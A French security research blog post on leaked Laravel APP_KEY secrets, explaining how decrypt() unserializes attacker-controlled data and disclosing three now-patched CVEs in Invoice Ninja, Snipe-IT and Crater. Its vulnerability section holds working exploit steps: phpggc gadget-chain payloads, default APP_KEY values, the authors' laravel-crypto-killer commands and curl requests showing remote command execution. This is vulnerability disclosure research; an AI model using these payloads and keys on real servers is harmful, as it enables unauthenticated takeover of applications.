Laravel: Analyse de fuite d'APP_KEY
- 10/07/2025 - dansEn novembre 2024, Mickaël Benassouli et moi-même avons parlé des modèles de vulnérabilité basés sur le chiffrement Laravel lors de Grehack. Cependant, chacune de ces vulnérabilité nécessite l'accès à un secret : l'APP_KEY, nous avons souligné les risques de sécurité impliqués et mis en évidence que ce secret est souvent exposé dans les projets publics.
L'histoire ne s'est pas arrêtée là, nous avons rassemblé un grand nombre d'APP_KEY et développé un nouvel outil pour identifier les modèles vulnérables à partir d'un ensemble d'applications Laravel exposées publiquement.
Ce blogpost résume notre parcours, depuis l'identification des vulnérabilités liées au chiffrement Laravel jusqu'à l'extension de cette connaissance pour une compromission massive d'applications exposées sur Internet. Nous parlerons de la méthodologie que nous avons utilisée afin de collecter des données sur Internet ainsi que de la manière dont nous les avons analysées pour obtenir les résultats les plus pertinents.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Introduction
Laravel est un framework web open-source basé sur PHP, conçu pour développer des applications web de manière structurée. Il offre des fonctionnalités telles que la gestion de base de données, l'authentification, et l'utilisation du modèle classique de conception Modèle-Vue-Contrôleur, facilitant grandement le développement d'applications complexes en équipe.
Grâce à sa versatilité et à une communauté mondiale très active, Laravel s'est imposé comme l'un des frameworks PHP les plus utilisés. Il compte actuellement plus d'un million d'instances exposées publiquement sur Internet.1.
Cependant, certains éléments de conception des composants internes de développement de Laravel présentent des risques, en particulier concernant l'utilisation de la classe Encrypter2
, qui gère le chiffrement et le déchiffrement en fonction du secret APP_KEY
de l'application.
Bien que des vulnérabilités critiques dans ce composant aient déjà ébranlé la sécurité de Laravel par le passé, le cœur du problème n'a jamais été véritablement corrigé. Par conséquent, nous allons discuter de trois vulnérabilités dans des projets publics identifiées au cours de nos recherches, ainsi que des modèles exploités pour démontrer que ce problème de sécurité reste d'actualité.
Même si la connaissance de ce secret est nécessaire pour exploiter les vulnérabilités présentées dans cet article de blog, malheureusement, ces secrets restent inchangés dans de nombreux cas. C'est pourquoi nous aborderons également une analyse menée à l'aide de sources ouvertes pour déterminer la robustesse des secrets utilisés dans les applications exposées publiquement sur Internet.
Comment l'APP_KEY est utilisée dans Laravel
Laravel simplifie le chiffrement grâce à la fonction encrypt
, qui s'appuie sur la bibliothèque OpenSSL pour assurer un haut niveau de sécurité. Cette fonction provient du package Illuminate\Encryption
.
Les packages de la suite Illuminate sont des composants modulaires du framework Laravel qui fournissent des fonctionnalités spécifiques, telles que le routage, l'authentification, et dans ce cas, le chiffrement.
Utilisation basique des fonctions encrypt et decrypt
Le chiffrement de Laravel utilise l'algorithme AES-256 en mode CBC avec un vecteur d'initialisation généré aléatoirement. Le secret APP_KEY
est utilisé comme clé secrète.
Les fonctions encrypt
et decrypt
sont chargées par défaut dans un projet Laravel, ce qui signifie qu'il n'est pas nécessaire de charger le module via use Illuminate\Encryption\Encrypter3
pour les appeler.
namespace Illuminate\Encryption;
class Encrypter implements EncrypterContract, StringEncrypter
{
public function encrypt(#[\SensitiveParameter] $value, $serialize = true)
{
$iv = random_bytes(openssl_cipher_iv_length(strtolower($this->cipher)));
$value = \openssl_encrypt(
$serialize ? serialize($value) : $value,
strtolower($this->cipher), $this->key, 0, $iv, $tag
);
[...]
$iv = base64_encode($iv);
$tag = base64_encode($tag ?? '');
$mac = self::$supportedCiphers[strtolower($this->cipher)]['aead']
? '' // For AEAD-algorithms, the tag / MAC is returned by openssl_encrypt...
: $this->hash($iv, $value, $this->key);
$json = json_encode(compact('iv', 'value', 'mac', 'tag'), JSON_UNESCAPED_SLASHES);
[...]
return base64_encode($json);
}
Le code suivant permettrait à un utilisateur de chiffrer la chaîne Hello World!
:
$originalData = 'Hello world!';
$encryptedData = encrypt($originalData);
La valeur de la variable $encryptedData
dans l'exemple précédent est une chaîne base64 contenant un JSON avec quatre valeurs : iv
, value
, mac
, and tag
.
$ echo 'eyJpdiI6Iks0ZFloT0dZc0M5UGFnSTZNRENjMEE9PSIsInZhbHVlIjoiZTlWb1lERll4RXh3RkorY0ZadStxVE9ZcGJPdDIvRW96QkVtSHVDODY1TT0iLCJ
tYWMiOiJkYjYwYTRkMmNjMTg3NGFjOWE2ZjU0ZGRkN2JhZjkzYjVjZGIwNzI1MzBjYmI2N2I4YzU2YTliMTAxNTI3YzBiIiwidGFnIjoiIn0=' | base64 -d | jq
{
"iv": "K4dYhOGYsC9PagI6MDCc0A==",
"value": "e9VoYDFYxExwFJ+cFZu+qTOYpbOt2/EozBEmHuC865M=",
"mac": "db60a4d2cc1874ac9a6f54ddd7baf93b5cdb072530cbb67b8c56a9b101527c0b",
"tag": ""
}
iv
: Un vecteur d'initialisation généré aléatoirement.value
: La valeur chiffrée en utilisant le vecteur d'initialisation et l'APP_KEY
.mac
: HMAC généré à partir du vecteur d'initialisation et de la valeur, en utilisant l'APP_KEY
comme clé secrète. Cette valeur a été ajoutée pour contrer les attaques par padding oracle.tag
: La valeurtag
est uniquement utilisée dans les cas où AES est utilisé en mode GCM.
En résumé, les données chiffrées par Laravel sont manipulées sous forme d'un JSON encodé en base64 contenant une valeur chiffrée en mode AES CBC utilisant l'APP_KEY
. Ces données sont souvent utilisées comme validateur d'intégrité pour la transmission ou le stockage de données sensibles.
Exposition aux attaques par désérialisation
Une attaque de désérialisation PHP exploite la fonction unserialize
, qui convertit une chaîne en un objet PHP. Si un attaquant peut manipuler cette chaîne, il peut créer des objets malveillants qui, une fois désérialisés, exécutent du code arbitraire ou altèrent le comportement de l'application. Tous les objets ne sont pas nécessairement exploitables, Not all objects are necessarily exploitable, cela dépend de la manière dont les classes sont définies et des méthodes magiques comme __wakeup()
ou __destruct()
, qui peuvent être appelées pendant la désérialisation.
L'exploitation d'une fonction unserialize
dépend donc fortement des bibliothèques chargées par le projet PHP et n'est pas nécessairement exploitable.
Pour déterminer si un framework ou une bibliothèque contient des chaînes de désérialisation exploitables, PHPGGC4, peut être utilisé. Cet outil, développé par Charles Fol, contient une liste de gadget chains affectant des projets et les versions affectées.
Le script test-gc-compatibility.py5
, intégré à PHPGGC, permet de tester les versions d'une bibliothèque contenant des gadgets utilisables pour déterminer précisément s'ils sont toujours exploitables. Par ailleurs, comme le montre la capture d'écran suivante, Laravel contient de nombreuses chaînes utilisables, même dans ses dernières versions.

Vulnerabilities discovered during the process
Nous allons maintenant examiner les différentes manières d'exploiter les faiblesses liées à la fonction decrypt7
dans les environnements Laravel.
namespace Illuminate\Encryption;
class Encrypter implements EncrypterContract, StringEncrypter
{
public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$decrypted = \openssl_decrypt( $payload['value'], $this->cipher, $this->key, 0, $iv );
[...]
return $unserialize ? unserialize($decrypted) : $decrypted;
}
Cette fonction prend deux paramètres :
$payload
: Correspond à la chaîne de caractères normalement chiffrée par la fonction d'encryptage.$unserialize
: Un paramètre qui détermine si la chaîne déchiffrée doit être désérialisée.
Le problème ici est simple : par défaut, un appel à la fonction decrypt
considèrera la chaîne déchiffrée comme des données sérialisées.
La variable utilisée comme clé de déchiffrement dans la fonction openssl_decrypt
est l'APP_KEY
. En résumé, un utilisateur en possession de ce secret sera capable de rechiffrer des données pour mener une attaque par désérialisation et ainsi compromettre le serveur hébergeant l'application Laravel.
Afin d'automatiser l'ensemble du processus, nous avons développé un outil open source : laravel-crypto-killer
8.

./laravel_crypto_killer.py -h
usage: laravel_crypto_killer.py [-h] {encrypt,decrypt,bruteforce} ...
___ _ ___ _ __ _ _
(O O) (_ ) ( O_`\ ( )_ ( O) _(_ )(_ )
| | _ _ _ __ _ _ _ _ __ | | | ( (_)_ __ _ _ _ _ | ,_) _ | |/')(_)| | | | __ _ __
| | /'_` ( '__/'_` ( ) ( )/'__`\| | | | _( '__( ) ( ( '_`\| | /'_`\ | , < | || | | | /'__`( '__)
< |__ ( (_| | | ( (_| | \_/ ( ___/| | < (_( | | | (_) | (_) | |_( (_) ) < | \`\| || | | |( ___| |
<_____/`\__,_(_) `\__,_`\___/`\____(___) <_____/(_) `\__, | ,__/`\__`\___/' <__) (_(_(___(___`\____(_)
( )_| | |
`\___/(_)
This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
It can also be used to decrypt any data encrypted via encrypt() or encryptString().
The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.
Authors of the tool : @_remsio_, @Kainx42
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
options:
-h, --help show this help message and exit
subcommands:
You can use the option -h on each subcommand to get more info
{encrypt,decrypt,bruteforce}
encrypt Encrypt mode
decrypt Decrypt mode
bruteforce Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.
En 2024, nous avons découvert trois vulnérabilités sur des projets publics en utilisant cet outil. Chacune de ces faiblesses est liée à un schéma de vulnérabilité ciblant le chiffrement Laravel et menant à l'exécution de commandes à distance.
Il est important de noter qu'Invoice Ninja, Snipe-IT et Crater sont déployé avec un fichier.env.example
contenant une APP_KEY
par défaut, qui est susceptible d'être utilisé en production.
Appel vulnérable à la fonction decrypt dans Invoice Ninja9 (CVE-2024-5555510)
Un attaquant en possession de l'APP_KEY
est en mesure de contrôler entièrement une chaîne de caractères passée à un appel pré-authentifié à une fonction decrypt
.
En effet, dans tous les projets Invoice Ninja, la route /route/{hash}
du fichier routes/web.php
permet d'atteindre un appel à la fonction decrypt
.
Route::get('route/{hash}', function ($hash) {
$route = '/';
try {
$route = decrypt($hash);
}
catch (\Exception $e) {
abort(404);
}
return redirect($route);
})->middleware('throttle:404');
Pour générer une charge utile de sérialisation conçue pour exécuter la commande bash id
sur un serveur basé sur Laravel, l'outil phpggc
a été utilisé :
$ php8.2 phpggc Laravel/RCE13 system id -b -f
YToyOntpOjc7Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MzU6IklsbHVtaW5hdGVcRGF0YWJhc2VcRGF0YWJhc2VNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjE2OiJkYXRhYmFzZS5kZWZhdWx0IjtzOjY6InN5c3RlbSI7czoyMDoiZGF0YWJhc2UuY29ubmVjdGlvbnMiO2E6MTp7czo2OiJzeXN0ZW0iO2E6MTp7aTowO3M6MjoiaWQiO319fX1zOjEzOiIAKgBleHRlbnNpb25zIjthOjE6e3M6Njoic3lzdGVtIjtzOjEyOiJhcnJheV9maWx0ZXIiO319fWk6NztpOjc7fQ==
Enfin, pour manipuler et exploiter le chiffrement de Laravel, l'outil laravel-crypto-killer
peut être utilisé. La chaîne de caractères générée par phpggc
peut être chiffrée à nouveau afin de réaliser l'exécution de commandes à distance sur le serveur affecté, sans accès préalable :
$ ./laravel_crypto_killer.py encrypt -k RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= -v $(php8.2 phpggc Laravel/RCE13 system id -b -f)
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJhbmE4ck1BVitqWUNjK0dNRi9uV0VnPT0iLCAidmFsdWUiOiAiYndlUTRyaDgyWGhDRFZ1dkxvbVlTcmpoWTR6cmRjTDc0QzRRcjBiVzhrQTU1N0hYS1NxUU9nOUJWbEFNbDVqTDFSNjVBMmpQMzg0b01KVm8vbEZxcHVodEIveE1kV2lOZWVDRWszRlE5T3l3OHhyemZHdWx6Q2Jxcm5Hb0NqdVJVamlZVkZJcDNIR21YeXVwWWVuNURXQjRldDluTG9BczR4SlJKTDV0VGliQ09CRmd2dTA3b0txRStWTEhUdmhCRGlTaEk3TkpRbTlOS2YraWlZUS9odURMOGtrVzh3S2w4NUtiUE9xN1A2ZktDVklMYkNCVnZkVXc2eW02RGY4QklzL3R1RTJkbHpud1drbE1BZ01mU2Zjejd2bDZWSTc4SmV6L1NOQlNlRXdwL1N0YXRnWDJaQzQwRUl5QXhrZzRPSnBzNktEa24zY3pZaXZLQ0ZXZ2NRNnhZaFFycm95cnZ4MjdUa1JsMFB1aTkyTzI1ZzhTbXlyTzV0eFg2dXQ5MkxGc2xWeUhtUFN5WHA4RlAxcGk5cVZWL0cvdCtKbHJLeWp0V3RZUVJSSmxHSXNGSFNJelh1N2t0WWplMExEQSIsICJtYWMiOiAiODhiOGI1MGQzZmQ5NTQwNjllYzUxNjVkM2Y2MjNlZDM5N2Y4YWZmZDRhMjMyMmY1YTQ0ZDhkYjQ3NDkzZDE2MCIsICJ0YWciOiAiIn0=
# Reusing the previous chain on invoiceninja
$ curl -s http://in5.localhost/route/eyJpdiI6[...]0= | head -n1
uid=1500(invoiceninja) gid=1500(invoiceninja) groups=1500(invoiceninja)
Sérialisation dans le XSRF-TOKEN de Snipe-IT11 (CVE-2024-4898712)
Un attaquant en possession de l'APP_KEY
est en mesure de contrôler entièrement une chaîne de caractères passée à une fonction unserialize
lorsqu'un appel à la fonction decrypt($user_input)
du package Illuminate\Encryption
est effectué. C'est le cas pour le cookie XSRF-TOKEN
lorsque l'option Passport::withCookieSerialization()
est activée.
Pour générer une charge utile sérialisée conçue pour exécuter la commande bash id
sur un serveur basé sur Laravel, l'outil phpggc
a été utilisé.
$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=
Afin de manipuler et d'exploiter le chiffrement de Laravel, l'outil laravel-crypto-killer
a été utilisé. La chaîne générée par phpggc
peut être chiffrée à nouveau pour permettre l'exécution de commandes à distance sur le serveur affecté, sans accès préalable :
$ ./laravel_crypto_killer.py encrypt -k 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= -v $(php7.4 phpggc Laravel/RCE9 system id -b)
eyJpdiI6ICJvck1SVWxyNDF6Lytaeks4a3NxU0tnPT0iLCAidmFsdWUiOiAiUkI0Z21sbCtZN1lJcWY2OS9HaHNjMDhteGNycGwvSStNQ2FaTDczdHhOTlpUUE5kVExCbkQybm5LRHp5SEtwYkRkeVVXcEZzWVpzMTNRbnJSSnFaaFdOVDczY1hsajFTMzFqNXZ1NFhYZGdjenFBT2s1LytiSURTbDQyU3JWNUMzM3lCRjZxZGhBWDVlMklYR1Y2c29FdnRRVUtvMkkxQkorYnltWGtFOHFUREwwTUU3TWRrWlRGR1FRdTkydE85b0JxeW5WRldOcUFieCtoYnM1UjREaDhBaGg5bzVhK3U1Q2o5OHkwRS80MlFVZmRPMW9SQm0rYVliMTRUTFZWTGc0TjhHK010SWpUclBpeURwT1Mxd3lSWTkvTlpZelcxVGs3Z2xTVTFBdXBvZ1RoSUEyckhaTTJ1TXBUTklZYiswV0NFTEZGa2padHkzUEovRER2Nzh5a2h3OXFKb0dRQ01mMVllMnVMUS8rdGh3N1JWWCtJazhWaEk0K0ROVkhYdWk1ekh2MUZzUGJFZTdkWCszQ1RvcDBkcktpTlBzdlVUVHVEMlRkWmN3ODRza1Y3WXNPSWU5RHdXbEswT1o1UCIsICJtYWMiOiAiNjA0ODE1NjQ1NWY2YWJmNGY5OWE2YTg3YzY0MzUxNDU0YmU0YzQwMDliM2NiMDJkYTg2ODZkNzNmMzJjMWEyZiIsICJ0YWciOiAiIn0=
# Reusing the previous base64 chain to trigger the remote command execution
$ curl -s -H "Cookie: XSRF-TOKEN=ey[...]0=" http://localhost:8000/login | head -n 1
uid=1000(docker) gid=50(staff) groups=50(staff)
SESSION_DRIVER cookie vulnérable dans Crater13 (CVE-2024-5555614)
Un attaquant en possession de l'APP_KEY
est capable de contrôler entièrement une chaîne de caractères passée à une fonction unserialize
lorsqu'un appel à la fonction decrypt($user_input)
du package Illuminate\Encryption
est effectué. Lorsque l'option SESSION_DRIVER=cookie
est activée dans le fichier .env
, la session est stockée dans un cookie de 40 caractères base64
aléatoires contenant l'objet utilisateur sérialisé et chiffré.
Pour exploiter cette vulnérabilité, ce cookie doit être récupéré. Dans la réponse HTTP ci-dessus, il est nommé DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT
. Il est à noter que ces cookies sont fournis à tout utilisateur non authentifié :
$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 12:28:44 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImdOS2lwMEhyNDNja0UzK3pCWEcxMXc9PSIsInZhbHVlIjoiMU1jMWlrYnRhN2ZRUVVvUEFaZVpVcC9Nb0h2U2J1eHJBZFdKcmpqSlcyclBpV1Azb3NXUTBFbkN0T3o3OTlwMk9yM2xLejBMNlV0U2FDalNzL1lhZDRkRUZtZzc2aitwVm40eWNHbC9pakR5SHRmYmN2R1pPSGsxQ01sMEVkZnQiLCJtYWMiOiJmN2M3OTI3MjExNGU4NTNlOTZiMGFkNjZlZmQyOTg2MWUwZjY1MzAyMDQwMzk3ZDM1NWRiZmI2NWVjNjI0OWJhIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Afin de manipuler et d'exploiter le chiffrement de Laravel, l'outil laravel-crypto-killer
peut être utilisé. Dans l'exemple suivant, le mode decrypt
a été utilisé pour récupérer la valeur en clair du cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT
.
$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
ae8213eefa7b10062a52485c7dcca8a5a937cc1c|{"data":"a:2:{s:6:\"_token\";s:40:\"X3BnPcQvhG1azDQ04mx3A79rt998EiRBQXINtD3Z\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725452924}
[*] Base64 encoded unciphered version
b'YWU4MjEzZWVmYTdiMTAwNjJhNTI0ODVjN2RjY2E4YTVhOTM3Y2MxY3x7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJYM0JuUGNRdmhHMWF6RFEwNG14M0E3OXJ0OTk4RWlSQlFYSU50RDNaXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NTI5MjR9BwcHBwcHBw=='
[+] Matched serialized data in results! It is time to exploit unserialization!
Une fois déchiffrée, la valeur du cookie doit correspondre à un hachage suivi d'un objet JSON contenant des données sérialisées PHP.
Une charge utile d'exploitation conçue pour exécuter la commande bash id
sur le serveur a été générée avec phpggc
. La valeur du hachage avant le |
(ici ae8213eefa7b10062a52485c7dcca8a5a937cc1c
) doit ensuite être passée à l'option --session_cookie
pour rechiffrer un cookie Laravel valide. La sortie de la commande phpggc
doit également être passée à l'option -v
pour chiffrer la charge utile sérialisée à l'intérieur d'un cookie Laravel valide.
$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=
$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=ae8213eefa7b10062a52485c7dcca8a5a937cc1c
[+] Here is your laravel ciphered session cookie
eyJpdiI6ICJxaVNJNnBPejM0SGgzNllSeENKU3lnPT0iLCAidmFsdWUiOiAiblJJQm83R2l6eXRVekxmZGxGU0p2OFFqajZ5STNVai9FdThjZDVzb21ucCt0eVlhS1V5ZldwWnNQdWxiYzlNUkVWWFgweDBXYXBsb1NRTHUvOVBBRjl0UFdLZmszamFLMGVKZ2NXNUJSeXg0bWhLU3duaTVZMnN3cUZzeVZLbHBsNDluYWNySXhiZTU4d3l0dTk4cVE0bDl3NzV4NVVrNTExSmhoVVpHWDJoQXVOWFY0RHdUeWlpUUlJS0JhbEFYMUdDU2w0SlZjSndYNVQyVHd3cFRjaWhqcTA0S2ZNbXVUR1NBQTdpU2JSQVFleER3V0hCV1lJKzB5ZUNCN2NuM2hUa0JFV2lOZlZhSWJVaklLWXlNQnlxZ2swUkdOVG9PRHdhU2NSdmJ2RDMzYzU5RU4zbWoxanN4eUFGcnAvVWluRkw2TlFtQzJlR1FXQzA2eDB2a29oWVB6cUZUOFBST2YwK1F5bFBvUy9HMUduQVRLUEFWZ0hDV3Y2SC9TRDd1aXVXOXFWaFdYVktNeURweGR6b2t6NWxkOUYzRVZBNURuRXNtd2p4V1NWUXZFaHRpRVpGRURqWTd4T0lYTGI2Unk4QlZqQjJ6SVBZdWJoYjI3ZjNVdlNyM1ZXRHpFOWd3V1hIT3NSRC9VTlBFaFhyQWczdVFGUEp5RnZVcWRweWNSWVZyQVljYVNMV0JLQU5VWUpnMGRjSVRQbVZMVjZBQjdibEVpaHdBTTAvMlh2dURpSUFLZ016NHpueXpVdDl1TGN3amx1dllvd2NzaktZNU44UVVRUGllbXlSSjR1WXRJNG5VS1I0a1QzRWRCRTlWbnJtamF4Qmd1aFJnRmtIQWIraFZNWkNBNWpDY1VqS0xxaXdSdE9uRTFIOFh0dnZkazFsMU5zK1dqbnhRc0dUR3FQTUQwVzVwOTBGKzh6Ly9TbDJlYS9pM1RQdEI1cGg1cmNiL05UczZnQmorMkJZUDh1czgvclZKMjZnaXpaMk5wQWEvVUZTOWZuRVhuNlhJc3FOYXFoelNwQjB2OFZJbnhDZ1ZjdEkzd0RETU5WWUsrNVZGUVMySUdDZUdoYXpFQm9hRFJWR280UzBFSVRmcCIsICJtYWMiOiAiZGE5ZTMwMzczMDZjNmQ0MjQ3YzUzYzdlMzcwNzU5NjlmMTlhZDJmYmNhZmE3OWE5MGNlN2RlOTY2MjdjZGJlMCIsICJ0YWciOiAiIn0=
La valeur résultante est ensuite placée dans le cookie d'origine DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT
, en même temps que le cookie laravel_session
, les deux sont ensuite envoyés au serveur pour finaliser l'exploitation.
$ curl -s -H "Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJ[...]CJ0YWciOiAiIn0=" http://localhost/login | head -n1
uid=1000(crater-user) gid=1000(crater-user) groups=1000(crater-user),0(root),33(www-data)
Résumé des vulnérabilités
Nous avons souligné le fait que l'utilisation de la fonction decrypt
sous sa forme actuelle peut rapidement mener à des vulnérabilités d'exécution de code à distance.
Il est à noter que toutes les vulnérabilités précédentes pouvaient être exploitées sans authentification tant que l'APP_KEY
par défaut du projet n'était pas modifiée par les développeurs. Toutes les vulnérabilités mentionnées ci-dessus sont maintenant corrigées.
Exposition des applications Laravel publiques
Attaques publiques précédentes basées sur une fuite de l'APP_KEY
